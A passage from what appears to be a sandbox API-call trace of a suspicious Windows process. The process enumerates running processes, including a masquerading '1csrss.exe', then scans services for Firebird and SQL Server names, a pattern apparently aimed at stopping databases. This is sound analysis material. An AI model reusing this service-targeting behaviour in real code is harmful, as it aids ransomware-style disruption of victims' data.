(lpString="svchost.exe") returned 11 [0313.539] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0313.540] lstrlenW (lpString="svchost.exe") returned 11 [0313.540] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0313.541] lstrlenW (lpString="svchost.exe") returned 11 [0313.542] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0313.543] lstrlenW (lpString="svchost.exe") returned 11 [0313.543] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0313.544] lstrlenW (lpString="svchost.exe") returned 11 [0313.544] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0313.545] lstrlenW (lpString="spoolsv.exe") returned 11 [0313.545] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0313.546] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0313.546] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0313.547] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0313.547] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0313.548] lstrlenW (lpString="Memory Compression") returned 18 [0313.548] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0313.549] lstrlenW (lpString="svchost.exe") returned 11 [0313.549] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0313.550] lstrlenW (lpString="audiodg.exe") returned 11 [0313.550] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0313.551] lstrlenW (lpString="sihost.exe") returned 10 [0313.551] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0313.552] lstrlenW (lpString="svchost.exe") returned 11 [0313.552] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0313.552] lstrlenW (lpString="taskhostw.exe") returned 13 [0313.553] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x9f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0313.553] lstrlenW (lpString="explorer.exe") returned 12 [0313.553] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0313.554] lstrlenW (lpString="SearchUI.exe") returned 12 [0313.554] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0313.555] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0313.555] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0313.556] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0313.556] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0xa08, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0313.557] lstrlenW (lpString="1csrss.exe") returned 10 [0313.558] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0313.558] lstrlenW (lpString="svchost.exe") returned 11 [0313.558] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x940, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0313.559] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0313.559] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0313.560] lstrlenW (lpString="svchost.exe") returned 11 [0313.560] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1ac, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0313.561] lstrlenW (lpString="consent.exe") returned 11 [0313.561] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0313.562] lstrlenW (lpString="dllhost.exe") returned 11 [0313.562] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0313.563] CloseHandle (hObject=0x528) returned 1 [0313.563] Sleep (dwMilliseconds=0x1f4) [0314.073] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7ddb88 [0314.073] EnumServicesStatusExW (in: hSCManager=0x7ddb88, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 0 [0314.074] GetLastError () returned 0xea [0314.074] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x1de6) returned 0x45eee80 [0314.074] EnumServicesStatusExW (in: hSCManager=0x7ddb88, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x45eee80, cbBufSize=0x1de6, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x45eee80, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 1 [0314.074] CloseServiceHandle (hSCObject=0x7ddb88) returned 1 [0314.074] lstrlenW (lpString="Appinfo") returned 7 [0314.074] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0314.074] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0314.074] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0314.075] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0314.075] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0314.075] lstrlenW (lpString="AppXSvc") returned 7 [0314.075] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0314.075] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0314.075] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0314.075] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0314.075] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0314.075] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0314.075] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0314.075] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0314.075] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0314.075] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0314.075] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0314.075] lstrlenW (lpString="Audiosrv") returned 8 [0314.075] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0314.075] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0314.075] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0314.075] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0314.075] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0314.075] lstrlenW (lpString="BFE") returned 3 [0314.075] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0314.075] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0314.075] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0314.075] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0314.075] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0314.075] lstrlenW (lpString="BITS") returned 4 [0314.075] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0314.075] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0314.075] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0314.075] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0314.075] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0314.075] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0314.076] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0314.076] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0314.076] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0314.076] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0314.076] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0314.076] lstrlenW (lpString="CDPSvc") returned 6 [0314.076] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0314.076] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0314.076] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0314.076] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0314.076] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0314.076] lstrlenW (lpString="ClickToRunSvc") returned 13 [0314.076] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0314.076] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0314.076] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0314.076] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0314.076] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0314.076] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0314.076] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0314.076] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0314.076] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0314.076] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0314.076] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0314.076] lstrlenW (lpString="CryptSvc") returned 8 [0314.076] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0314.076] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0314.076] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0314.076] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0314.076] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0314.076] lstrlenW (lpString="DcomLaunch") returned 10 [0314.076] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0314.076] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0314.076] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0314.076] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0314.077] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0314.077] lstrlenW (lpString="DeviceAssociationService") returned 24 [0314.077] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0314.077] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0314.077] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0314.077] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0314.077] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0314.077] lstrlenW (lpString="Dhcp") returned 4 [0314.077] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0314.077] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0314.077] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0314.077] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0314.077] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0314.077] lstrlenW (lpString="Dnscache") returned 8 [0314.077] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0314.077] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0314.077] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0314.077] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0314.077] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0314.077] lstrlenW (lpString="DoSvc") returned 5 [0314.077] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0314.077] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0314.077] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0314.077] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0314.077] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0314.077] lstrlenW (lpString="DPS") returned 3 [0314.077] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0314.077] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0314.077] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0314.077] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0314.077] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0314.077] lstrlenW (lpString="DusmSvc") returned 7 [0314.077] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0314.078] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0314.078] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0314.078] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0314.078] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0314.078] lstrlenW (lpString="EventLog") returned 8 [0314.078] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0314.078] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0314.078] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0314.078] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0314.078] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0314.078] lstrlenW (lpString="EventSystem") returned 11 [0314.078] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0314.078] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0314.078] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0314.078] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0314.078] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0314.078] lstrlenW (lpString="FontCache") returned 9 [0314.078] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0314.078] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0314.078] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0314.078] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0314.078] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0314.078] lstrlenW (lpString="gpsvc") returned 5 [0314.078] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0314.078] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0314.078] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0314.078] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0314.078] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0314.078] lstrlenW (lpString="iphlpsvc") returned 8 [0314.078] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0314.079] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0314.079] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0314.079] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0314.079] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0314.079] lstrlenW (lpString="KeyIso") returned 6 [0314.079] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0314.079] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0314.079] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0314.079] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0314.079] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0314.079] lstrlenW (lpString="LanmanServer") returned 12 [0314.079] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0314.079] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0314.079] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0314.079] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0314.079] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0314.079] lstrlenW (lpString="LanmanWorkstation") returned 17 [0314.079] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0314.079] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0314.079] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0314.079] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0314.079] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0314.079] lstrlenW (lpString="lfsvc") returned 5 [0314.079] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0314.079] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0314.079] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0314.079] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0314.079] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0314.079] lstrlenW (lpString="lmhosts") returned 7 [0314.080] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0314.080] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0314.080] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0314.080] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0314.080] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0314.080] lstrlenW (lpString="LSM") returned 3 [0314.080] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0314.080] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0314.080] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0314.080] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0314.080] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0314.080] lstrlenW (lpString="MapsBroker") returned 10 [0314.080] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0314.080] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0314.080] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0314.080] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0314.080] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0314.080] lstrlenW (lpString="MpsSvc") returned 6 [0314.080] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0314.080] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0314.080] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0314.080] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0314.080] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0314.080] lstrlenW (lpString="NcbService") returned 10 [0314.080] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0314.080] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0314.080] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0314.080] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0314.080] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0314.080] lstrlenW (lpString="netprofm") returned 8 [0314.081] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0314.081] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0314.081] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0314.081] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0314.081] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0314.081] lstrlenW (lpString="NgcSvc") returned 6 [0314.081] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0314.081] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0314.081] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0314.081] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0314.081] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0314.081] lstrlenW (lpString="NlaSvc") returned 6 [0314.081] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0314.081] 